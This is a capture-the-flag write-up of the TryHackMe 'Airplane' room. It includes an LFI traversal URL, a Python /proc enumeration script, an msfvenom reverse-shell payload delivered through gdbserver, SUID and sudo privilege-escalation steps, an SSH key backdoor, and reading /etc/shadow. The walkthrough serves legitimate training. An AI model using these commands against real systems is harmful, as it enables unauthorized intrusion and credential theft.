TryHackMe: Airplane

https://tryhackme.com/r/room/airplane
Airplane is another tagline-only room at TryHackMe with the description of “Are you ready to fly?” I am; let’s fly!
I am working on a Kali VM with a VPN connection to TryHackMe. With the VPN connected and room instance launched, I started by running an nmap scan against the target machine. The results showed SSH open on its default port and an HTTP server running on port 8000. There was also an unknown port listening on 6048. A script scan found no identifiable service fingerprints on that port.

Loading the target in a web browser on port 8000 brought up a single HTML index page about airplanes. Reviewing the source code didn’t show anything interesting. I had to edit my hosts
file with the instance IP because the website had a DNS redirect.

Looking at the URL, it appears that the site is using PHP to load a specified local file. If PHP isn’t setup properly, it could pose a potential local file inclusion (LFI) directory transversal vulnerability that allows an attacker to navigate the target filesystem and load arbitrary files. To test this, I tried to access the /etc/passwd
file by backing out a large number of directories to reach the drive root and then move forward into the /etc
folder. I placed this command in the address bar and attempted to load it:
airplane.thm:8000/?page=../../../../../../../../../../../../../etc/passwd
The web browser downloaded a 3KB passwd
file from the target. This confirmed the presence of a directory transveral vulnerability. Opening the file, I identified two users present on the system: carlos
and hudson
. I also attempted to access the privileged /etc/shadow
file but received a 500 Internal Server Error
response, indicating that the web server is not running as root. This is good for the web developer because that part is configured properly, but bad for any attacker (like me).

I ran gobuster
against the site and identified an “airplane” directory but was unable to identify anything of significance. There appeared to be only one page showing a spinning “Let’s fly” text animated through the source HTML code and nothing exploitable.
The SSH port could be useful later on, but the software version was not vulnerable and I still had no credentials.
The mystery port was the only remaining attack surface. Telnet and NC didn’t return any banners from the service so I did some research and realized that I could use the LFI vulnerability to browse the /proc
folder on the target. The /proc
folder contains information about the running processes on the system, akin to a flat-file representation of the ps
command output. I ran a request to load the /proc/net/tcp
file through BurpSuite and confirmed that I had permission to access this folder.

The /proc/net/tcp
output doesn’t show which process PID is listening on the port, though. To find this, I had to search through each /proc/{PID}
subfolder to see which application was running on that port. I leveraged ChatGPT to draft a Python script, tweaked some logic, and got a file that would iterate through a numeric range of subfolders and search the cmdline
file for the given port. Below is the script I ran against the target machine and it identified a gdbserver
listening on port 6048. Now that I know what service is listening, I can start searching for an exploit!
import requests
def search_in_tcp_file(filename, search_string):
with open(filename, 'r') as file:
for line in file:
if search_string in line:
return True, line
return False, ""
def main():
base_url = "<http://airplane.thm:8000/?page=../../../../proc/>"
for i in range(1, 60001):
url = f'{base_url}{i}/cmdline'
port = "6048"
try:
response = requests.get(url)
if response.status_code == 200:
if port in response.text:
print(f"Process identified with PID {i}")
print(response.text)
return
except FileNotFoundError:
continue
if __name__ == "__main__":
main()

Side note: I spent a lot of time researching if there was a way to identify a process listening on a port if it had been launched without an explicit port number (i.e., specifying a configuration file instead). If this had been the case, the above script would have not found anything because the port would not have been specified in thecmdline
file. I tried a handful of approaches on my own machine but was unable to find a way to correlate PID to listening port through the/proc
folder alone without command line access.
Back to the gdbserver
port! I saw the hacktricks.xyz site had a section on exploiting remote gdbserver. Metasploit also had a module with a “Great” rating, but I’m preparing for the OSCP certification and trying to focus more on manual exploitation since I’m already solid with metasploit. I followed the hacktricks.xyz instructions to generate a msfvenom
payload, make it executable, start gdb
debugger and configure it to use the target machine, upload the file, and execute the payload.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.13.51.111 LPORT=4444 PrependFork=true -f elf -o exploit.elf
chmod +x exploit.elf
gdb exploit.elf
target extended-remote 10.10.97.244:6048
remote put exploit.elf /tmp/exploit.elf
set remote exec-file /tmp/exploit.elf
run
I had to reset the room once because when I first tried the remote put
command, I received an I/O error
from the target machine and could not proceed. After the reset, the file uploaded successfully and I was able to upload the payload and continue. I caught a shell as the hudson
user on my Kali box and stabilized it using the Python3 method. There were no files in this user’s home folders so this wasn’t who I had to obtain the user
flag from. It must be under the carlos
user.

Searching for privilege escalation and lateral movement paths, I identified that the /usr/bin/find
binary had the SUID bit set. The owner was carlos
so exploiting this would give access to the system as that user, not root
.

I ran the SUID exploit command from GTFOBins and obtained a new shell as the carlos
user. Now I could see and cat
the user flag from the user.txt
file.

Although the shell is running as carlos
, it still inherits a number of hudson
's attributes. To get full access as carlos
, I have to obtain a new session somehow. I do have write permissions as carlos
to his home folder so I can utilize the SSH port discovered earlier to establish a session as that user. I need to generate a SSH keypair, add it to the carlos
user’s authorized_keys
file, place the private key on my Kali machine, and then connect via SSH as the carlos
user.
Still in the carlos
shell, I ran the ssh-keygen
command to generate a new key pair. I had to specify the keys to save in /home/carlos/.ssh
instead of the default location. I cat
the id_rsa file and pasted the contents into a file on my local Kali machine and had to chmod 600
that file so the SSH binary wouldn’t complain. On the target, I also had to run cat id_rsa.pub >> authorized_keys
to allow the target machine SSH server to accept this SSH key.
Finally, I was able to SSH into the target using the key I just generated and obtained a session as carlos
. Checking the user’s groups, I noticed he was a member of the sudo
group which would greatly help the escalation to root. The user could execute Ruby scripts located in the /root
directory with sudo
permissions, but did not have read or write permissions to that directory.

Luckily, I already exploited something similar to this earlier in the room. I can use the double dot directory transversal ability to specify a Ruby script that’s not actually in the /root
directory but instead is in one I control.
At first I was trying to execute a Ruby reverse shell to my machine but realized that I only have to read a file that’s already been specified. A Ruby one-line script is enough to read the file contents and obtain the root flag.

While that’s enough to complete the room, how useful would this be in a real-world engagement? What about using this to accomplish something actually useful, like reading the shadow file to dump user password hashes? With a quick update of the file path in the Ruby script, I can do that!

Summary:
Starting with the LFI directory transversal vulnerability on the web server, I was able to identify a vulnerable semi-obfuscated gdbserver
service running on the machine and exploit that to gain a shell as the hudson
user. A SUID misconfiguration allowed lateral movement into the carlos
user account. Finally a sudo
permission on the carlos
account allowed execution of an arbitrary Ruby script that compromised the root
flag.